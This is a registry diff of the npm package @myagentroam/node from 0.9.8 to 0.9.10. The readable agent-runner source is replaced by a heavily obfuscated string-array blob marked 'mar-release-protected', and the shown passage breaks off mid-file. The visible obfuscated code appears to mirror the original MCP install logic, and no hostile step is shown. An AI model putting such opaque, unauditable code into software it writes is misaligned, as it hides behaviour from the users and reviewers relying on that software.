@myagentroam/node 0.9.8 → 0.9.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/capabilities.js +2 -92
- package/dist/claude-agent-sdk.js +2 -330
- package/dist/claude-channel.js +2 -44
- package/dist/codex-app-server.js +2 -503
- package/dist/config.js +2 -56
- package/dist/connector/node-connector-options.js +2 -1
- package/dist/connector/node-operation-router.js +2 -22
- package/dist/connector.js +2 -841
- package/dist/control-outbound-scheduler.js +2 -154
- package/dist/database.js +2 -1418
- package/dist/event-buffer.js +2 -19
- package/dist/fake-runner.js +2 -129
- package/dist/health.js +2 -3
- package/dist/main.js +2 -54
- package/dist/migrations/v001.js +3 -144
- package/dist/migrations/v002.js +2 -143
- package/dist/migrations/v003.js +2 -44
- package/dist/migrations/v004.js +34 -30
- package/dist/native-jsonl-reader.js +2 -186
- package/dist/native-session-history.js +2 -1119
- package/dist/opencode-runtime.js +2 -80
- package/dist/opencode-server.js +2 -263
- package/dist/operational.js +2 -122
- package/dist/process-tree.js +2 -18
- package/dist/rotating-log.js +2 -67
- package/dist/runner/abstract-runner.js +2 -232
- package/dist/runner/claude/managed-run-controller.js +2 -345
- package/dist/runner/claude-code-runner.js +2 -303
- package/dist/runner/codex/composer-image-markers.js +2 -0
- package/dist/runner/codex/conversation-parser.js +2 -861
- package/dist/runner/codex/managed-run-controller.js +2 -460
- package/dist/runner/codex-runner.js +2 -628
- package/dist/runner/fake-test-runner.js +2 -47
- package/dist/runner/opencode/conversation-parser.js +2 -221
- package/dist/runner/opencode/managed-run-controller.js +2 -537
- package/dist/runner/opencode-runner.js +2 -448
- package/dist/runner/runner-registry.js +2 -90
- package/dist/runner-command-engine.js +2 -70
- package/dist/runner-profiles.js +2 -215
- package/dist/runner-usage.js +2 -190
- package/dist/runtime-command-detector.js +2 -73
- package/dist/runtime-state.js +2 -973
- package/dist/service/attachment-domain-state.js +2 -7
- package/dist/service/conversation-history-service.js +2 -457
- package/dist/service/conversation-segment-service.js +2 -162
- package/dist/service/external-session-resume-service.js +2 -118
- package/dist/service/fake-managed-run-service.js +2 -60
- package/dist/service/managed-runner-session-service.js +2 -35
- package/dist/service/mcp-installation-verifier.js +2 -87
- package/dist/service/mcp-node-operation-service.js +2 -90
- package/dist/service/mcp-package-installer.js +2 -136
- package/dist/service/native-session-projection-service.js +2 -280
- package/dist/service/native-session-watch-service.js +2 -383
- package/dist/service/node-connection-lifecycle-service.js +2 -83
- package/dist/service/node-control-channel.js +2 -85
- package/dist/service/node-control-message-service.js +2 -107
- package/dist/service/node-request-service.js +2 -52
- package/dist/service/node-run-event-bridge.js +2 -83
- package/dist/service/node-terminal-channel.js +2 -182
- package/dist/service/node-upgrade-coordinator.js +2 -137
- package/dist/service/node-workspace-coordinator.js +2 -70
- package/dist/service/recent-run-projection-service.js +2 -0
- package/dist/service/run-attachment-service.js +2 -194
- package/dist/service/run-domain-state.js +2 -4
- package/dist/service/run-event-service.js +2 -193
- package/dist/service/run-workbench-service.js +2 -104
- package/dist/service/runner-channel-message-service.js +2 -20
- package/dist/service/runner-interaction-service.js +2 -243
- package/dist/service/runner-service.js +2 -71
- package/dist/service/session-catalog-service.js +2 -224
- package/dist/service/session-command-service.js +2 -76
- package/dist/service/session-context-service.js +2 -101
- package/dist/service/session-domain-state.js +2 -9
- package/dist/service/session-identity-service.js +2 -86
- package/dist/service/session-lifecycle-service.js +2 -240
- package/dist/service/session-message-service.js +2 -173
- package/dist/service/session-presentation-service.js +2 -43
- package/dist/service/session-query-service.js +2 -82
- package/dist/service/skill-directory-service.js +2 -238
- package/dist/service/skill-install-service.js +2 -434
- package/dist/service/skill-node-operation-service.js +2 -206
- package/dist/service/terminal-relay-state.js +2 -3
- package/dist/service/terminal-service.js +2 -52
- package/dist/service/workbench-event-service.js +2 -19
- package/dist/service/workbench-manifest-service.js +2 -69
- package/dist/service/workspace-change-service.js +2 -86
- package/dist/service/workspace-content-search-service.js +2 -477
- package/dist/service/workspace-domain-state.js +2 -41
- package/dist/service/workspace-file-service.js +2 -122
- package/dist/service/workspace-git-exclude-service.js +2 -119
- package/dist/service/workspace-queue-workbench-service.js +2 -304
- package/dist/service/workspace-service.js +2 -69
- package/dist/service/workspace-session-service.js +2 -139
- package/dist/service/workspace-upload-service.js +2 -262
- package/dist/service/workspace-watch-service.js +2 -146
- package/dist/service/workspace-workbench-service.js +2 -405
- package/dist/service.js +2 -38
- package/dist/storage.js +2 -32
- package/dist/supervisor.js +2 -136
- package/dist/terminal.js +2 -416
- package/dist/util/node-operation-parsers.js +2 -382
- package/dist/util/personal-instructions.js +2 -31
- package/dist/util/runner-error.js +2 -52
- package/dist/util/runner-native-session-parsers.js +2 -490
- package/dist/util/safe-error.js +2 -5
- package/dist/util/secret-environment.js +2 -25
- package/dist/workspace.js +2 -1519
- package/package.json +3 -3
- package/dist/capabilities.d.ts +0 -12
- package/dist/claude-agent-sdk.d.ts +0 -92
- package/dist/claude-channel.d.ts +0 -28
- package/dist/codex-app-server.d.ts +0 -133
- package/dist/config.d.ts +0 -18
- package/dist/connector/node-connector-options.d.ts +0 -27
- package/dist/connector/node-operation-router.d.ts +0 -9
- package/dist/connector.d.ts +0 -93
- package/dist/control-outbound-scheduler.d.ts +0 -29
- package/dist/database.d.ts +0 -305
- package/dist/event-buffer.d.ts +0 -9
- package/dist/fake-runner.d.ts +0 -42
- package/dist/health.d.ts +0 -4
- package/dist/main.d.ts +0 -2
- package/dist/migrations/v001.d.ts +0 -3
- package/dist/migrations/v002.d.ts +0 -4
- package/dist/migrations/v003.d.ts +0 -4
- package/dist/migrations/v004.d.ts +0 -4
- package/dist/native-jsonl-reader.d.ts +0 -35
- package/dist/native-session-history.d.ts +0 -126
- package/dist/opencode-runtime.d.ts +0 -33
- package/dist/opencode-server.d.ts +0 -49
- package/dist/operational.d.ts +0 -39
- package/dist/process-tree.d.ts +0 -9
- package/dist/rotating-log.d.ts +0 -17
- package/dist/runner/abstract-runner.d.ts +0 -172
- package/dist/runner/claude/managed-run-controller.d.ts +0 -51
- package/dist/runner/claude-code-runner.d.ts +0 -72
- package/dist/runner/codex/conversation-parser.d.ts +0 -59
- package/dist/runner/codex/managed-run-controller.d.ts +0 -90
- package/dist/runner/codex-runner.d.ts +0 -103
- package/dist/runner/fake-test-runner.d.ts +0 -26
- package/dist/runner/opencode/conversation-parser.d.ts +0 -31
- package/dist/runner/opencode/managed-run-controller.d.ts +0 -82
- package/dist/runner/opencode-runner.d.ts +0 -71
- package/dist/runner/runner-registry.d.ts +0 -19
- package/dist/runner-command-engine.d.ts +0 -28
- package/dist/runner-profiles.d.ts +0 -15
- package/dist/runner-usage.d.ts +0 -33
- package/dist/runtime-command-detector.d.ts +0 -3
- package/dist/runtime-state.d.ts +0 -169
- package/dist/service/attachment-domain-state.d.ts +0 -7
- package/dist/service/conversation-history-service.d.ts +0 -43
- package/dist/service/conversation-segment-service.d.ts +0 -20
- package/dist/service/external-session-resume-service.d.ts +0 -34
- package/dist/service/fake-managed-run-service.d.ts +0 -28
- package/dist/service/managed-runner-session-service.d.ts +0 -12
- package/dist/service/mcp-installation-verifier.d.ts +0 -9
- package/dist/service/mcp-node-operation-service.d.ts +0 -11
- package/dist/service/mcp-package-installer.d.ts +0 -8
- package/dist/service/native-session-projection-service.d.ts +0 -52
- package/dist/service/native-session-watch-service.d.ts +0 -62
- package/dist/service/node-connection-lifecycle-service.d.ts +0 -35
- package/dist/service/node-control-channel.d.ts +0 -32
- package/dist/service/node-control-message-service.d.ts +0 -27
- package/dist/service/node-request-service.d.ts +0 -14
- package/dist/service/node-run-event-bridge.d.ts +0 -40
- package/dist/service/node-terminal-channel.d.ts +0 -29
- package/dist/service/node-upgrade-coordinator.d.ts +0 -29
- package/dist/service/node-workspace-coordinator.d.ts +0 -29
- package/dist/service/run-attachment-service.d.ts +0 -38
- package/dist/service/run-domain-state.d.ts +0 -4
- package/dist/service/run-event-service.d.ts +0 -33
- package/dist/service/run-workbench-service.d.ts +0 -25
- package/dist/service/runner-channel-message-service.d.ts +0 -13
- package/dist/service/runner-interaction-service.d.ts +0 -39
- package/dist/service/runner-service.d.ts +0 -46
- package/dist/service/session-catalog-service.d.ts +0 -45
- package/dist/service/session-command-service.d.ts +0 -24
- package/dist/service/session-context-service.d.ts +0 -35
- package/dist/service/session-domain-state.d.ts +0 -9
- package/dist/service/session-identity-service.d.ts +0 -24
- package/dist/service/session-lifecycle-service.d.ts +0 -31
- package/dist/service/session-message-service.d.ts +0 -33
- package/dist/service/session-presentation-service.d.ts +0 -34
- package/dist/service/session-query-service.d.ts +0 -35
- package/dist/service/skill-directory-service.d.ts +0 -20
- package/dist/service/skill-install-service.d.ts +0 -21
- package/dist/service/skill-node-operation-service.d.ts +0 -44
- package/dist/service/terminal-relay-state.d.ts +0 -6
- package/dist/service/terminal-service.d.ts +0 -12
- package/dist/service/workbench-event-service.d.ts +0 -9
- package/dist/service/workbench-manifest-service.d.ts +0 -90
- package/dist/service/workspace-change-service.d.ts +0 -9
- package/dist/service/workspace-content-search-service.d.ts +0 -14
- package/dist/service/workspace-domain-state.d.ts +0 -79
- package/dist/service/workspace-file-service.d.ts +0 -18
- package/dist/service/workspace-git-exclude-service.d.ts +0 -4
- package/dist/service/workspace-queue-workbench-service.d.ts +0 -86
- package/dist/service/workspace-service.d.ts +0 -15
- package/dist/service/workspace-session-service.d.ts +0 -23
- package/dist/service/workspace-upload-service.d.ts +0 -39
- package/dist/service/workspace-watch-service.d.ts +0 -23
- package/dist/service/workspace-workbench-service.d.ts +0 -58
- package/dist/service.d.ts +0 -4
- package/dist/storage.d.ts +0 -2
- package/dist/supervisor.d.ts +0 -1
- package/dist/terminal.d.ts +0 -133
- package/dist/util/node-operation-parsers.d.ts +0 -92
- package/dist/util/personal-instructions.d.ts +0 -2
- package/dist/util/runner-error.d.ts +0 -6
- package/dist/util/runner-native-session-parsers.d.ts +0 -74
- package/dist/util/safe-error.d.ts +0 -2
- package/dist/util/secret-environment.d.ts +0 -1
- package/dist/workspace.d.ts +0 -217
|
@@ -1,90 +1,2 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
import { McpInstallationVerifier } from './mcp-installation-verifier.js';
|
|
4
|
-
export class McpNodeOperationService {
|
|
5
|
-
requireDatabase;
|
|
6
|
-
verifier;
|
|
7
|
-
constructor(requireDatabase, verifier = new McpInstallationVerifier()) {
|
|
8
|
-
this.requireDatabase = requireDatabase;
|
|
9
|
-
this.verifier = verifier;
|
|
10
|
-
}
|
|
11
|
-
operations() {
|
|
12
|
-
return {
|
|
13
|
-
'node.mcps.inspect': () => this.inspect('NODE', ''),
|
|
14
|
-
'node.mcps.install': (data) => this.install('NODE', '', data),
|
|
15
|
-
'node.mcps.remove': (data) => this.remove('NODE', '', data),
|
|
16
|
-
'workspace.mcps.inspect': (data) => this.inspect('WORKSPACE', workspaceId(data)),
|
|
17
|
-
'workspace.mcps.install': (data) => this.install('WORKSPACE', workspaceId(data), data),
|
|
18
|
-
'workspace.mcps.remove': (data) => this.remove('WORKSPACE', workspaceId(data), data)
|
|
19
|
-
};
|
|
20
|
-
}
|
|
21
|
-
inspect(targetKind, targetId) {
|
|
22
|
-
const database = this.requireDatabase();
|
|
23
|
-
const own = database.listMcpInstallations(targetKind, targetId);
|
|
24
|
-
const ownNames = new Set(own.map((installation) => installation.serverName));
|
|
25
|
-
const installations = [
|
|
26
|
-
...(targetKind === 'WORKSPACE'
|
|
27
|
-
? database
|
|
28
|
-
.listMcpInstallations('NODE')
|
|
29
|
-
.filter((installation) => !ownNames.has(installation.serverName))
|
|
30
|
-
: []),
|
|
31
|
-
...own
|
|
32
|
-
].map((installation) => ({
|
|
33
|
-
catalogEntryId: installation.catalogEntryId,
|
|
34
|
-
serverName: installation.serverName,
|
|
35
|
-
displayName: installation.displayName,
|
|
36
|
-
version: installation.version,
|
|
37
|
-
origin: installation.targetKind,
|
|
38
|
-
enabled: installation.enabled,
|
|
39
|
-
status: 'CURRENT',
|
|
40
|
-
installedAt: installation.installedAt
|
|
41
|
-
}));
|
|
42
|
-
return mcpTargetInspectionSchema.parse({ targetKind, installations });
|
|
43
|
-
}
|
|
44
|
-
async install(targetKind, targetId, raw) {
|
|
45
|
-
if (!isRecord(raw))
|
|
46
|
-
throw new Error('MCP_INSTALL_INPUT_INVALID');
|
|
47
|
-
const entry = mcpCatalogEntrySchema.parse(raw['entry']);
|
|
48
|
-
const input = mcpInstallationInputSchema.parse({
|
|
49
|
-
catalogEntryId: entry.id,
|
|
50
|
-
enabled: raw['enabled'] ?? true,
|
|
51
|
-
configuration: raw['configuration'] ?? {}
|
|
52
|
-
});
|
|
53
|
-
const database = this.requireDatabase();
|
|
54
|
-
const secretEnvironment = isRecord(raw['secretEnvironment'])
|
|
55
|
-
? Object.fromEntries(Object.entries(raw['secretEnvironment']).filter((entry) => typeof entry[1] === 'string'))
|
|
56
|
-
: {};
|
|
57
|
-
const cwd = targetKind === 'WORKSPACE' ? database.getWorkspace(targetId)?.path : homedir();
|
|
58
|
-
if (cwd === undefined)
|
|
59
|
-
throw new Error('WORKSPACE_NOT_FOUND');
|
|
60
|
-
if (input.enabled)
|
|
61
|
-
await this.verifier.verify({
|
|
62
|
-
entry,
|
|
63
|
-
configuration: input.configuration,
|
|
64
|
-
secrets: secretEnvironment,
|
|
65
|
-
cwd
|
|
66
|
-
});
|
|
67
|
-
database.saveMcpInstallation({
|
|
68
|
-
targetKind,
|
|
69
|
-
...(targetKind === 'WORKSPACE' ? { targetId } : {}),
|
|
70
|
-
entry,
|
|
71
|
-
enabled: input.enabled,
|
|
72
|
-
configuration: input.configuration
|
|
73
|
-
});
|
|
74
|
-
return this.inspect(targetKind, targetId);
|
|
75
|
-
}
|
|
76
|
-
remove(targetKind, targetId, raw) {
|
|
77
|
-
if (!isRecord(raw) || typeof raw['serverName'] !== 'string')
|
|
78
|
-
throw new Error('MCP_INSTALL_INPUT_INVALID');
|
|
79
|
-
this.requireDatabase().removeMcpInstallation(targetKind, targetId, raw['serverName']);
|
|
80
|
-
return this.inspect(targetKind, targetId);
|
|
81
|
-
}
|
|
82
|
-
}
|
|
83
|
-
function workspaceId(raw) {
|
|
84
|
-
if (!isRecord(raw) || typeof raw['workspaceId'] !== 'string' || raw['workspaceId'] === '')
|
|
85
|
-
throw new Error('WORKSPACE_INVALID');
|
|
86
|
-
return raw['workspaceId'];
|
|
87
|
-
}
|
|
88
|
-
function isRecord(value) {
|
|
89
|
-
return value !== null && typeof value === 'object' && !Array.isArray(value);
|
|
90
|
-
}
|
|
1
|
+
/* mar-release-protected */
|
|
2
|
+
const _0x2d17ca=_0x32a1;(function(_0x2c79f1,_0x1d7228){const _0xc7e850=_0x32a1,_0x7aefa1=_0x2c79f1();while(!![]){try{const _0x3d32e0=-parseInt(_0xc7e850(0x81))/(-0x131e+0x1766+-0x447)*(-parseInt(_0xc7e850(0x6f))/(0x3d5*-0x9+0xa7*-0x14+-0xfd9*-0x3))+-parseInt(_0xc7e850(0x94))/(0x17f3*-0x1+0xbc1*-0x1+0xdf*0x29)*(-parseInt(_0xc7e850(0x8a))/(0x1*0x1aff+-0x9*0x1af+-0xbd4))+parseInt(_0xc7e850(0x8d))/(0x1*0x262d+0x3*-0x7a+-0x24ba)+parseInt(_0xc7e850(0x7a))/(0x20c5+-0x49f*-0x1+-0x255e)*(parseInt(_0xc7e850(0x6e))/(0x1*0x67e+-0x1e14+0x179d))+parseInt(_0xc7e850(0x95))/(-0x1*-0x81e+-0x2687+-0x1*-0x1e71)*(-parseInt(_0xc7e850(0x72))/(0x19a8+0x3d*-0x47+-0x45a*0x2))+-parseInt(_0xc7e850(0x87))/(-0x3*0xb75+-0xae9+0x2d52)*(parseInt(_0xc7e850(0x82))/(-0x1995+0x2393+-0x3*0x351))+parseInt(_0xc7e850(0x8e))/(0x1f16+-0x1425+0x1*-0xae5)*(-parseInt(_0xc7e850(0x84))/(0x1*-0x1b9a+-0x88a+0x2431));if(_0x3d32e0===_0x1d7228)break;else _0x7aefa1['push'](_0x7aefa1['shift']());}catch(_0x52fc64){_0x7aefa1['push'](_0x7aefa1['shift']());}}}(_0x12e0,-0x1*0x2b029+-0x121da6+0x2d2*0xbf7));import{mcpCatalogEntrySchema,mcpInstallationInputSchema,mcpTargetInspectionSchema}from'@myagentroam/protocol';import{homedir}from'node:os';import{McpInstallationVerifier}from'./mcp-installation-verifier.js';function _0x32a1(_0x2e463c,_0x2f36b9){_0x2e463c=_0x2e463c-(-0x55f+-0x29*-0x4c+-0x667);const _0x436b47=_0x12e0();let _0x3e2732=_0x436b47[_0x2e463c];if(_0x32a1['cDAFZd']===undefined){var _0x26fbf5=function(_0xc9a9e8){const _0x5d770e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x130996='',_0x28c51d='';for(let _0xd11022=0x178d+-0x25d1+0x53*0x2c,_0x1635b8,_0x1c3679,_0xcd0fbe=0xf*-0xf0+0xf4c*0x1+-0x4f*0x4;_0x1c3679=_0xc9a9e8['charAt'](_0xcd0fbe++);~_0x1c3679&&(_0x1635b8=_0xd11022%(0x1a69+0x1d3d+-0x37a2)?_0x1635b8*(0x1b23*0x1+-0x6a*0x32+0x62f*-0x1)+_0x1c3679:_0x1c3679,_0xd11022++%(-0xeb0+-0x1*-0xc3b+0xd3*0x3))?_0x130996+=String['fromCharCode'](0x2*-0x12e4+0x16b*0x9+0x1a04&_0x1635b8>>(-(0x8a*0x30+-0x1*-0x142c+-0x2e0a)*_0xd11022&-0x33a*-0x7+-0x1f9b+0x90b*0x1)):-0x7*-0x1b3+0xf4e*0x1+-0x911*0x3){_0x1c3679=_0x5d770e['indexOf'](_0x1c3679);}for(let _0x431b51=-0x25d3+-0x1*0x1223+0x37f6,_0x46ab7f=_0x130996['length'];_0x431b51<_0x46ab7f;_0x431b51++){_0x28c51d+='%'+('00'+_0x130996['charCodeAt'](_0x431b51)['toString'](0x1971+0xbe7+-0x2548))['slice'](-(-0x1*0xd72+-0x17e9+0x5*0x779));}return decodeURIComponent(_0x28c51d);};_0x32a1['KzGUtH']=_0x26fbf5,_0x32a1['KBUERE']={},_0x32a1['cDAFZd']=!![];}const _0xce90bc=_0x436b47[-0x2446+0x46c*0x7+0x552];_0x32a1['bbTsAG']!==_0xce90bc&&(_0x32a1['KBUERE']={},_0x32a1['bbTsAG']=_0xce90bc);const _0x24fa69=_0x32a1['KBUERE'][_0x2e463c];return _0x24fa69===undefined?(_0x3e2732=_0x32a1['KzGUtH'](_0x3e2732),_0x32a1['KBUERE'][_0x2e463c]=_0x3e2732):_0x3e2732=_0x24fa69,_0x3e2732;}export class McpNodeOperationService{[_0x2d17ca(0x76)];[_0x2d17ca(0x74)];constructor(_0x5d3feb,_0x53684e=new McpInstallationVerifier()){const _0x35e1d0=_0x2d17ca;this[_0x35e1d0(0x76)]=_0x5d3feb,this[_0x35e1d0(0x74)]=_0x53684e;}[_0x2d17ca(0x68)](){const _0x229fe0=_0x2d17ca;return{'node.mcps.inspect':()=>this[_0x229fe0(0x8f)](_0x229fe0(0x8b),''),'node.mcps.install':_0x17d5af=>this[_0x229fe0(0x93)](_0x229fe0(0x8b),'',_0x17d5af),'node.mcps.remove':_0x4fec90=>this[_0x229fe0(0x8c)](_0x229fe0(0x8b),'',_0x4fec90),'workspace.mcps.inspect':_0x53603a=>this[_0x229fe0(0x8f)](_0x229fe0(0x91),workspaceId(_0x53603a)),'workspace.mcps.install':_0x459c57=>this[_0x229fe0(0x93)](_0x229fe0(0x91),workspaceId(_0x459c57),_0x459c57),'workspace.mcps.remove':_0x1ac96e=>this[_0x229fe0(0x8c)](_0x229fe0(0x91),workspaceId(_0x1ac96e),_0x1ac96e)};}[_0x2d17ca(0x8f)](_0x8f2044,_0x50ceaf){const _0x599b6e=_0x2d17ca,_0x166c07=this[_0x599b6e(0x76)](),_0x59dca1=_0x166c07[_0x599b6e(0x7e)](_0x8f2044,_0x50ceaf),_0x4fed31=new Set(_0x59dca1[_0x599b6e(0x6d)](_0x13ef08=>_0x13ef08[_0x599b6e(0x7f)])),_0x3e35f0=[..._0x8f2044===_0x599b6e(0x91)?_0x166c07[_0x599b6e(0x7e)](_0x599b6e(0x8b))[_0x599b6e(0x83)](_0x5870c8=>!_0x4fed31[_0x599b6e(0x86)](_0x5870c8[_0x599b6e(0x7f)])):[],..._0x59dca1][_0x599b6e(0x6d)](_0x4a6ae8=>({'catalogEntryId':_0x4a6ae8[_0x599b6e(0x77)],'serverName':_0x4a6ae8[_0x599b6e(0x7f)],'displayName':_0x4a6ae8[_0x599b6e(0x7b)],'version':_0x4a6ae8[_0x599b6e(0x6b)],'origin':_0x4a6ae8[_0x599b6e(0x6a)],'enabled':_0x4a6ae8[_0x599b6e(0x79)],'status':_0x599b6e(0x88),'installedAt':_0x4a6ae8[_0x599b6e(0x75)]}));return mcpTargetInspectionSchema[_0x599b6e(0x73)]({'targetKind':_0x8f2044,'installations':_0x3e35f0});}async[_0x2d17ca(0x93)](_0x1dc384,_0x3e9e2f,_0x2123c5){const _0x5f268b=_0x2d17ca;if(!isRecord(_0x2123c5))throw new Error(_0x5f268b(0x97));const _0x502d97=mcpCatalogEntrySchema[_0x5f268b(0x73)](_0x2123c5[_0x5f268b(0x85)]),_0x2a0d65=mcpInstallationInputSchema[_0x5f268b(0x73)]({'catalogEntryId':_0x502d97['id'],'enabled':_0x2123c5[_0x5f268b(0x79)]??!![],'configuration':_0x2123c5[_0x5f268b(0x71)]??{}}),_0x521234=this[_0x5f268b(0x76)](),_0x4a9d8c=isRecord(_0x2123c5[_0x5f268b(0x98)])?Object[_0x5f268b(0x69)](Object[_0x5f268b(0x67)](_0x2123c5[_0x5f268b(0x98)])[_0x5f268b(0x83)](_0x3f43fb=>typeof _0x3f43fb[0x1d82+0x127*0x13+0x99*-0x56]===_0x5f268b(0x90))):{},_0x193dc6=_0x1dc384===_0x5f268b(0x91)?_0x521234[_0x5f268b(0x7c)](_0x3e9e2f)?.[_0x5f268b(0x70)]:homedir();if(_0x193dc6===undefined)throw new Error(_0x5f268b(0x78));if(_0x2a0d65[_0x5f268b(0x79)])await this[_0x5f268b(0x74)][_0x5f268b(0x7d)]({'entry':_0x502d97,'configuration':_0x2a0d65[_0x5f268b(0x71)],'secrets':_0x4a9d8c,'cwd':_0x193dc6});return _0x521234[_0x5f268b(0x80)]({'targetKind':_0x1dc384,..._0x1dc384===_0x5f268b(0x91)?{'targetId':_0x3e9e2f}:{},'entry':_0x502d97,'enabled':_0x2a0d65[_0x5f268b(0x79)],'configuration':_0x2a0d65[_0x5f268b(0x71)]}),this[_0x5f268b(0x8f)](_0x1dc384,_0x3e9e2f);}[_0x2d17ca(0x8c)](_0x3ce341,_0x31aa45,_0x3d5669){const _0x5bd711=_0x2d17ca;if(!isRecord(_0x3d5669)||typeof _0x3d5669[_0x5bd711(0x7f)]!==_0x5bd711(0x90))throw new Error(_0x5bd711(0x97));return this[_0x5bd711(0x76)]()[_0x5bd711(0x96)](_0x3ce341,_0x31aa45,_0x3d5669[_0x5bd711(0x7f)]),this[_0x5bd711(0x8f)](_0x3ce341,_0x31aa45);}}function workspaceId(_0x5452dc){const _0x2fb6a3=_0x2d17ca;if(!isRecord(_0x5452dc)||typeof _0x5452dc[_0x2fb6a3(0x92)]!==_0x2fb6a3(0x90)||_0x5452dc[_0x2fb6a3(0x92)]==='')throw new Error(_0x2fb6a3(0x66));return _0x5452dc[_0x2fb6a3(0x92)];}function isRecord(_0x2e8fd8){const _0x3e742e=_0x2d17ca;return _0x2e8fd8!==null&&typeof _0x2e8fd8===_0x3e742e(0x6c)&&!Array[_0x3e742e(0x89)](_0x2e8fd8);}function _0x12e0(){const _0x55c372=['Aw5ZDgfSBgvKqxq','CMvXDwLYzurHDgfIyxnL','y2f0ywXVz0vUDhj5swq','v09ss1nqqunfx05pvf9gt1vora','zw5HyMXLza','odeYmduYnNzODwDzAW','zgLZCgXHEu5HBwu','z2v0v29YA3nWywnL','DMvYAwz5','BgLZDe1JCeLUC3rHBgXHDgLVBNm','C2vYDMvYtMfTzq','C2f2zu1JCeLUC3rHBgXHDgLVBG','mti1mti5rMzHBNrm','mZqYndyZy2LoBwDU','zMLSDgvY','mty5t3vlAMv4','zw50CNK','AgfZ','ndeWzxbXyMrj','q1vsuKvova','AxnbCNjHEq','mta0r0HIvwjh','tK9erq','CMvTB3zL','ndGYnteWmfr5ENPlyW','mtK1mtm4menHqw5SDG','Aw5ZCgvJDa','C3rYAw5N','v09ss1nqqunf','D29YA3nWywnLswq','Aw5ZDgfSBa','mti0ode4CNjRu3vO','oe13D055ta','CMvTB3zLtwnWsw5ZDgfSBgf0Aw9U','tunqx0Lou1rbteXFsu5qvvrFsu5wquXjra','C2vJCMv0rw52AxjVBM1LBNq','v09ss1nqqunfx0LovKfmsuq','zw50CMLLCW','B3bLCMf0Aw9UCW','zNjVBuvUDhjPzxm','DgfYz2v0s2LUza','DMvYC2LVBG','B2jQzwn0','BwfW','n3DOBxbNsW','mtr6zffiB3C','Cgf0Aa','y29UzMLNDxjHDgLVBG','mZm4mtu3ruvfrK5L','CgfYC2u','DMvYAwzPzxi'];_0x12e0=function(){return _0x55c372;};return _0x12e0();}
|
|
@@ -1,136 +1,2 @@
|
|
|
1
|
-
|
|
2
|
-
import { createHash, randomUUID } from 'node:crypto';
|
|
3
|
-
import { mkdir, readFile, rename, rm, writeFile } from 'node:fs/promises';
|
|
4
|
-
import { dirname, resolve } from 'node:path';
|
|
5
|
-
import { promisify } from 'node:util';
|
|
6
|
-
const execute = promisify(execFile);
|
|
7
|
-
const installs = new Map();
|
|
8
|
-
export class McpPackageInstaller {
|
|
9
|
-
dataDirectory;
|
|
10
|
-
constructor(dataDirectory) {
|
|
11
|
-
this.dataDirectory = dataDirectory;
|
|
12
|
-
}
|
|
13
|
-
prepare(entry) {
|
|
14
|
-
if (entry.runtime.transport !== 'STDIO')
|
|
15
|
-
return Promise.resolve(entry);
|
|
16
|
-
const request = packageRequest(entry.runtime.command, entry.runtime.args);
|
|
17
|
-
if (request === undefined)
|
|
18
|
-
return Promise.resolve(entry);
|
|
19
|
-
const key = `${request.spec}\0${entry.serverName}`;
|
|
20
|
-
const active = installs.get(key);
|
|
21
|
-
if (active !== undefined)
|
|
22
|
-
return active;
|
|
23
|
-
const operation = this.install(entry, request).finally(() => installs.delete(key));
|
|
24
|
-
installs.set(key, operation);
|
|
25
|
-
return operation;
|
|
26
|
-
}
|
|
27
|
-
async install(entry, request) {
|
|
28
|
-
const dataDirectory = typeof this.dataDirectory === 'string' ? this.dataDirectory : this.dataDirectory();
|
|
29
|
-
if (entry.runtime.transport !== 'STDIO')
|
|
30
|
-
return entry;
|
|
31
|
-
const runtimeEnvironment = entry.runtime.environment;
|
|
32
|
-
const digest = createHash('sha256').update(request.spec).digest('hex');
|
|
33
|
-
const root = resolve(dataDirectory, 'mcp-packages', digest);
|
|
34
|
-
const metadataPath = resolve(root, 'installation.json');
|
|
35
|
-
let executable = await installedExecutable(metadataPath, request.spec);
|
|
36
|
-
if (executable === undefined) {
|
|
37
|
-
const staging = `${root}.install-${randomUUID()}`;
|
|
38
|
-
await mkdir(dirname(root), { recursive: true, mode: 0o700 });
|
|
39
|
-
try {
|
|
40
|
-
await mkdir(staging, { recursive: true, mode: 0o700 });
|
|
41
|
-
await runNpmInstall(staging, request.spec);
|
|
42
|
-
executable = await resolvePackageExecutable(staging, request.spec);
|
|
43
|
-
await writeFile(resolve(staging, 'installation.json'), `${JSON.stringify({ spec: request.spec, executable: executable.slice(staging.length) })}\n`, { mode: 0o600 });
|
|
44
|
-
await rm(root, { recursive: true, force: true });
|
|
45
|
-
await rename(staging, root);
|
|
46
|
-
executable = resolve(root, `.${executable.slice(staging.length)}`);
|
|
47
|
-
}
|
|
48
|
-
catch (error) {
|
|
49
|
-
await rm(staging, { recursive: true, force: true });
|
|
50
|
-
throw packageError(error);
|
|
51
|
-
}
|
|
52
|
-
}
|
|
53
|
-
const prefixArgs = await this.prepareRuntimeEnvironment(entry.serverName, root, dataDirectory);
|
|
54
|
-
return {
|
|
55
|
-
...entry,
|
|
56
|
-
runtime: {
|
|
57
|
-
transport: 'STDIO',
|
|
58
|
-
command: process.execPath,
|
|
59
|
-
args: [...prefixArgs, executable, ...request.serverArgs],
|
|
60
|
-
...(runtimeEnvironment === undefined ? {} : { environment: runtimeEnvironment })
|
|
61
|
-
}
|
|
62
|
-
};
|
|
63
|
-
}
|
|
64
|
-
async prepareRuntimeEnvironment(serverName, packageRoot, dataDirectory) {
|
|
65
|
-
if (serverName !== 'io.github.microsoft/playwright-mcp')
|
|
66
|
-
return [];
|
|
67
|
-
const browserRoot = resolve(dataDirectory, 'mcp-browsers', 'playwright');
|
|
68
|
-
await mkdir(browserRoot, { recursive: true, mode: 0o700 });
|
|
69
|
-
const preload = resolve(packageRoot, 'playwright-environment.cjs');
|
|
70
|
-
await writeFile(preload, `process.env.PLAYWRIGHT_BROWSERS_PATH = ${JSON.stringify(browserRoot)};\n`, { mode: 0o600 });
|
|
71
|
-
const playwright = resolve(packageRoot, 'node_modules', 'playwright', 'cli.js');
|
|
72
|
-
await run(process.execPath, [playwright, 'install', 'chromium'], {
|
|
73
|
-
PLAYWRIGHT_BROWSERS_PATH: browserRoot
|
|
74
|
-
});
|
|
75
|
-
const modulePath = resolve(packageRoot, 'node_modules', 'playwright');
|
|
76
|
-
await run(process.execPath, [
|
|
77
|
-
'-e',
|
|
78
|
-
